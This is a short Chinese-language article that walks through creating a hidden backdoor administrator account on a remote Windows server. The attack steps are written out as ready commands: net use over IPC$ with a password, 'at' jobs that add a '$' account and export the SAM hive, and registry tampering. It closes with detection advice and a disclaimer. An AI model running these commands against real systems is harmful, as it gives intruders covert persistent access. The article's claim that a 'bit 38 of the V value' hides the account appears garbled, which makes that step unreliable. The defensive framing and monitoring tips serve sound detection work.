隱藏超級使用者帳號實戰技法：命令列遠端建立與登錄檔偽裝

超級使用者擁有伺服器最高權限，隱藏其存在可降低被鎖定風險。本文揭露駭客常用的命令列遠端建立隱藏帳號、匯出 SAM 資料庫竄改登錄檔偽裝等手法，供防禦方了解攻擊鏈以強化偵測。

前提條件

• 目標主機已開啟 Schedule (工作排程) 服務
• 攻擊者具備系統權限的命令列存取（如 SQL 注入、Telnet、PSExec 等）

攻擊步驟示範（假設目標 IP 13.50.97.238，Administrator/12345678）

1. 建立 IPC$ 連線：net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"
2. 利用 at 排程在系統權限下建立隱藏帳號（帳號尾加 $ 符號，net user 不顯示但帳號管理器可見）：
   at \\13.50.97.238 12:51 cmd /c "net user hacker$ 1234 /add"
3. 同樣用 at 匯出 SAM 登錄檔區塊：
   at \\13.50.97.238 12:55 cmd /c "regedit /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"
4. 下載 hacker.reg，修改 hacker$ 帳號的 V 值（使用者旗標），將第 38 位元設為 1（隱藏旗標），再匯入回目標機器，即可在帳號管理器中也隱藏該帳號。

防禦建議

• 嚴格控管 Schedule 服務與 at 命令權限
• 監控 SAM 登錄檔異常寫入事件（事件 ID 4657）
• 定期稽核本地使用者群組成員異動
• 部署帳號異常登入行為分析（如新帳號短時間內提權）

聲明：本文僅供安全研究與防禦參考，嚴禁用於非法入侵。